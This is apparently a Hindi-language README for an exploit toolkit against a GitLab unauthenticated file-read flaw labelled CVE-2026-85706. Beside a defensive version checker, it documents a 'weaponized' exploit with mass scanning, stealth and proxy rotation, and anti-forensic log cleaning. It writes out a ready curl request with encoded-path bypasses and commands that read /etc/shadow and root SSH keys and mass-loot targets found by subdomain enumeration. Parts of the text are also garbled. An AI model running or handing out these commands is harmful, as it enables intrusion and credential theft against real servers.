
CVE-2026-85706 GitLab अनधिकृत फ़ाइल पढ़ने के लिए Python टूलकिट: loot, shell, mass scan के साथ weaponized exploit, साथ ही non-intrusive SafeChecker ऑडिट और रिपोर्टिंग।

⚠️ केवल नैतिक उपयोग हेतु – अधिकृत सुरक्षा परीक्षण
यह रिपॉज़िटरी केवल अधिकृत सुरक्षा पेशेवरों, ब्लू टीमों और पेनेट्रेशन टेस्टरों के लिए उपकरण प्रदान करती है।
कंप्यूटर सिस्टम तक अनधिकृत पहुँच CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), और दुनिया भर के समान कानूनों के तहत अवैध है।
CVE‑2026‑85706 स्व-प्रबंधित GitLab CE/EE (संस्करण 18.7 से तक) में एक गंभीर भेद्यता है, जो एक अनधिकृत हमलावर को commits API पर एक ही HTTP अनुरोध के माध्यम से सर्वर पर किसी भी फ़ाइल को पढ़ने की अनुमति देती है।
%63ommits जैसे एन्कोडेड अक्षरों का उपयोग करके Workhorse की सुरक्षा जाँचों को बायपास करने की अनुमति देता है।/api/v4/projects/{id}/repository/commits एंडपॉइंट प्रमाणीकरण लागू होने से पहले file.path में निर्दिष्ट फ़ाइल को खोलता है।%-sequence है, तो Rack 400 Bad Request बॉडी में सामग्री को प्रतिध्वनित करता है, जिससे पूरी सामग्री लीक हो जाती है।| उपकरण | उद्देश्य | इच्छित उपयोगकर्ता |
|---|---|---|
exploit.py | अनधिकृत फ़ाइल पठन, लूट गणना, एडमिन टोकन निष्कर्षण, मास स्कैनिंग, इंटरैक्टिव शेल, प्रॉक्सी रोटेशन, स्टेल्थ मोड, और बहु-प्रारूप रिपोर्टिंग के साथ पूर्ण हथियारीकृत टूलकिट। | रेड टीमें / अधिकृत पेंटेस्टर |
safechecker.py | गैर-घुसपैठी भेद्यता जाँचकर्ता जो GitLab संस्करण का पता लगाता है, एक्सपोज़र को मान्य करता है, सुरक्षा हेडर का ऑडिट करता है, और किसी भी फ़ाइल को पढ़े बिना जोखिम का आकलन करता है। JSON/CSV/HTML रिपोर्ट उत्पन्न करता है। | ब्लू टीमें / सुरक्षा ऑडिटर |
| विशेषता | exploit.py | safechecker.py |
|---|---|---|
| भेद्यता पहचान | ✅ | ✅ |
| संस्करण पहचान | ✅ | ✅ |
| अनधिकृत फ़ाइल पठन | ✅ | ❌ |
| लूट गणना | ✅ | ❌ |
| एडमिन टोकन निष्कर्षण | ✅ | ❌ |
| इंटरैक्टिव शेल | ✅ | ❌ |
| मास स्कैनिंग (मल्टी-थ्रेड) | ✅ | ✅ |
| सुरक्षा हेडर ऑडिट | ❌ | ✅ |
| TLS/प्रमाणपत्र जाँच | ❌ | ✅ |
| MITRE ATT&CK मैपिंग | ✅ | ✅ |
| प्रॉक्सी समर्थन | ✅ | ✅ |
| प्रॉक्सी रोटेशन | ✅ | ❌ |
| User‑Agent रोटेशन (OPSEC) | ✅ | ❌ |
| जिटर / विलंब (OPSEC) | ✅ | ❌ |
| अनुकूली दर सीमक | ✅ | ✅ |
| स्टेल्थ मोड | ✅ | ❌ |
| curl_cffi TLS प्रतिरूपण | ✅ | ❌ |
| गैर-घुसपैठी (सुरक्षित) मोड | ❌ | ✅ |
| JSON / JSONL / CSV / HTML आउटपुट | ✅ | ✅ |
| SQLite DB आउटपुट | ✅ | ❌ |
| Webhook अधिसूचना | ✅ | ✅ |
| पिछले स्कैन के विरुद्ध अंतर | ✅ | ✅ |
| लॉग सफ़ाई (एंटी-फ़ोरेंसिक) | ✅ | ❌ |
| परिदृश्य | अनुशंसित उपकरण |
|---|---|
| ब्लू टीम – जाँचें कि आपका GitLab भेद्य है या नहीं | safechecker.py |
| सुरक्षा ऑडिट – गैर-घुसपैठी भेद्यता मूल्यांकन | safechecker.py |
| रेड टीम – पूर्ण शोषण के साथ अधिकृत पेनेट्रेशन परीक्षण | exploit.py |
| बग बाउंटी – जिम्मेदार प्रकटीकरण परीक्षण | safechecker.py |
| मास स्कैनिंग – भेद्यता के लिए कई लक्ष्यों की जाँच | exploit.py (केवल-पहचान) |
| घटना प्रतिक्रिया – जाँचें कि सिस्टम से समझौता हुआ है या नहीं | safechecker.py |
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt
requests
urllib3
curl_cffi
rich
pyyaml
exploit.py पैरामीटर| पैरामीटर | विवरण |
|---|---|
-u, --url | एकल लक्ष्य URL (जैसे https://gitlab.example.com) |
-f, --file | लक्ष्यों की सूची वाली फ़ाइल (प्रति पंक्ति एक) |
--pipe | stdin से लक्ष्य पढ़ें (subfinder/httpx पाइपलाइन) |
--read | पढ़ने के लिए पूर्ण पथ, अल्पविराम से अलग |
--wordlist | पढ़ने के लिए पथों वाली फ़ाइल (प्रति पंक्ति एक) |
--project-id | एक विशिष्ट प्रोजेक्ट ID बाध्य करें |
--max-projects | आज़माने के लिए अधिकतम प्रोजेक्ट ID (डिफ़ॉल्ट: 8) |
--auto | उच्च-मूल्य GitLab फ़ाइलों को स्वचालित रूप से लूटें |
--loot | --auto के समान |
--shell | शोषण के बाद इंटरैक्टिव शेल |
--force | GitLab फ़िंगरप्रिंट कमज़ोर होने पर भी स्कैन करें |
-t, --threads | मल्टी-टार्गेट के लिए थ्रेड (डिफ़ॉल्ट: 8) |
--timeout | HTTP टाइमआउट (डिफ़ॉल्ट: 15s) |
--retry | पुनः प्रयास गणना (डिफ़ॉल्ट: 3) |
--retry-on | पुनः प्रयास के लिए HTTP कोड (डिफ़ॉल्ट: 429,500,502,503,504) |
--proxy | HTTP/HTTPS प्रॉक्सी |
--proxy-list | रोटेशन के लिए प्रॉक्सी वाली फ़ाइल |
--proxy-rotate | रोटेशन रणनीति: round-robin, random, sticky |
--jitter | अनुरोधों के बीच यादृच्छिक जिटर जोड़ें |
--jitter-range | जिटर न्यूनतम,अधिकतम सेकंड (डिफ़ॉल्ट: 0.1,2.0) |
--delay | अनुरोधों के बीच निश्चित विलंब |
--stealth | स्टेल्थ मोड सक्षम करें (UA रोटेशन + X-Forwarded-For) |
safechecker.py पैरामीटर| पैरामीटर | विवरण |
|---|---|
-u, --url | एकल लक्ष्य URL (जैसे https://gitlab.example.com) |
-f, --file | लक्ष्यों वाली फ़ाइल (प्रति पंक्ति एक) |
-t, --threads | मल्टी-टार्गेट के लिए थ्रेड (डिफ़ॉल्ट: 5) |
--timeout | HTTP टाइमआउट (डिफ़ॉल्ट: 10s) |
--rate-limit | प्रति सेकंड अधिकतम अनुरोध (0 = असीमित) |
--user-agent | कस्टम User-Agent स्ट्रिंग |
--insecure | TLS सत्यापन अक्षम करें (MITM जोखिम) |
--webhook | Webhook URL (slack:, discord:, telegram:) |
--diff | पिछले स्कैन JSON से तुलना करें |
-v, --verbose | विस्तृत आउटपुट |
-o, --output | JSON आउटपुट फ़ाइल |
--csv | CSV आउटपुट फ़ाइल |
--report | HTML रिपोर्ट फ़ाइल |
--mitre | MITRE ATT&CK मैपिंग शामिल करें (डिफ़ॉल्ट: चालू) |
| # | परिदृश्य | कमांड |
|---|---|---|
| 1 | त्वरित भेद्यता जाँच | python safechecker.py -u https://gitlab.example.com |
| 2 | रिपोर्ट के साथ विस्तृत ऑडिट | python safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v |
| 3 | फ़ाइल से मास ऑडिट | python safechecker.py -f targets.txt -t 10 --rate-limit 5 |
| 4 | केवल-पहचान शोषण | python exploit.py -u https://gitlab.example.com --safe-mode |
| 5 | एकल फ़ाइल पढ़ें | python exploit.py -u https://gitlab.example.com --read /etc/passwd |
| 6 | कई फ़ाइलें पढ़ें | python exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa |
| 7 | उच्च-मूल्य फ़ाइलों को स्वतः लूटें | python exploit.py -u https://gitlab.example.com --auto |
| 8 | इंटरैक्टिव शेल | python exploit.py -u https://gitlab.example.com --shell |
| 9 | स्टेल्थ के साथ मास शोषण | python exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl |
| 10 | subfinder से पाइपलाइन | subfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl |
| 11 | SIEM आउटपुट के साथ पूर्ण हमला | python exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json |
| 12 | बाधित स्कैन फिर से शुरू करें | python exploit.py -f targets.txt --auto --resume state.json |
| 13 | दो स्कैन की तुलना करें | python safechecker.py -f targets.txt -o new.json --diff previous.json |
एक्सप्लॉइट निम्नलिखित GitLab एंडपॉइंट और बायपास तकनीकों का उपयोग करता है:
| चरण | विधि | एंडपॉइंट | विवरण |
|---|---|---|---|
| 1. बायपास | POST | /api/v4/projects/{id}/repository/%63ommits | एन्कोडेड c Workhorse को बायपास करता है |
| 2. बायपास | POST | /api/v4/projects/{id}/%72epository/commits | repository में एन्कोडेड r |
| 3. बायपास | POST | /api/v4/projects/{id}/repository/commits/ | ट्रेलिंग स्लैश बायपास |
| 4. बायपास | POST | /api/v4/projects/{id}/repository/commits.json | Grape प्रारूप प्रत्यय बायपास |
| 5. Files API | POST | /api/v4/projects/{id}/repository/files/x | वैकल्पिक मार्ग |
file=&file.path=/etc/passwd&file.size=1
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"
यह सॉफ़्टवेयर केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है।
| कस्टम User‑Agent |
| ✅ |
| ✅ |
| SSL सत्यापन नियंत्रण | ✅ | ✅ |
--curl-cffi | TLS फ़िंगरप्रिंट प्रतिरूपण के लिए curl_cffi का उपयोग करें |
--user-agent-file | User-Agent स्ट्रिंग्स वाली फ़ाइल |
--max-body | अधिकतम प्रतिक्रिया बॉडी आकार (0 = असीमित) |
--concurrent-per-host | प्रति होस्ट अधिकतम समवर्ती अनुरोध |
--rate-limit | प्रति सेकंड अधिकतम अनुरोध (0 = असीमित) |
--exclude | बहिष्कृत करने के लिए होस्ट, अल्पविराम से अलग (glob पैटर्न) |
--grep | केवल regex से मेल खाने वाले लीक दिखाएँ |
--resume | स्टेट फ़ाइल से फिर से शुरू करें |
--notify | अधिसूचना URL (slack:, discord:, telegram:) |
--db | परिणाम SQLite डेटाबेस में सहेजें |
--output-format | आउटपुट प्रारूप: json, jsonl, csv, html |
-o, --output | आउटपुट फ़ाइल पथ |
-v, --verbose | विस्तृत आउटपुट |
-q, --quiet | शांत मोड |
--no-color | रंग अक्षम करें |
--no-banner | बैनर नहीं |
--config | YAML/JSON कॉन्फ़िग फ़ाइल |
--dry-run | अनुरोध किए बिना योजना दिखाएँ |
--safe-mode | सत्यापन के लिए केवल /etc/hostname पढ़ें |
--timeout-profile | aggressive, normal, stealth |
--mitre | MITRE ATT&CK मैपिंग शामिल करें |
--fingerprint | विस्तृत GitLab फ़िंगरप्रिंट |
--cve-check | संबंधित CVE की जाँच करें |
--json-schema | SIEM के लिए JSON स्कीमा के साथ आउटपुट |
--progress | प्रगति बार दिखाएँ (rich आवश्यक) |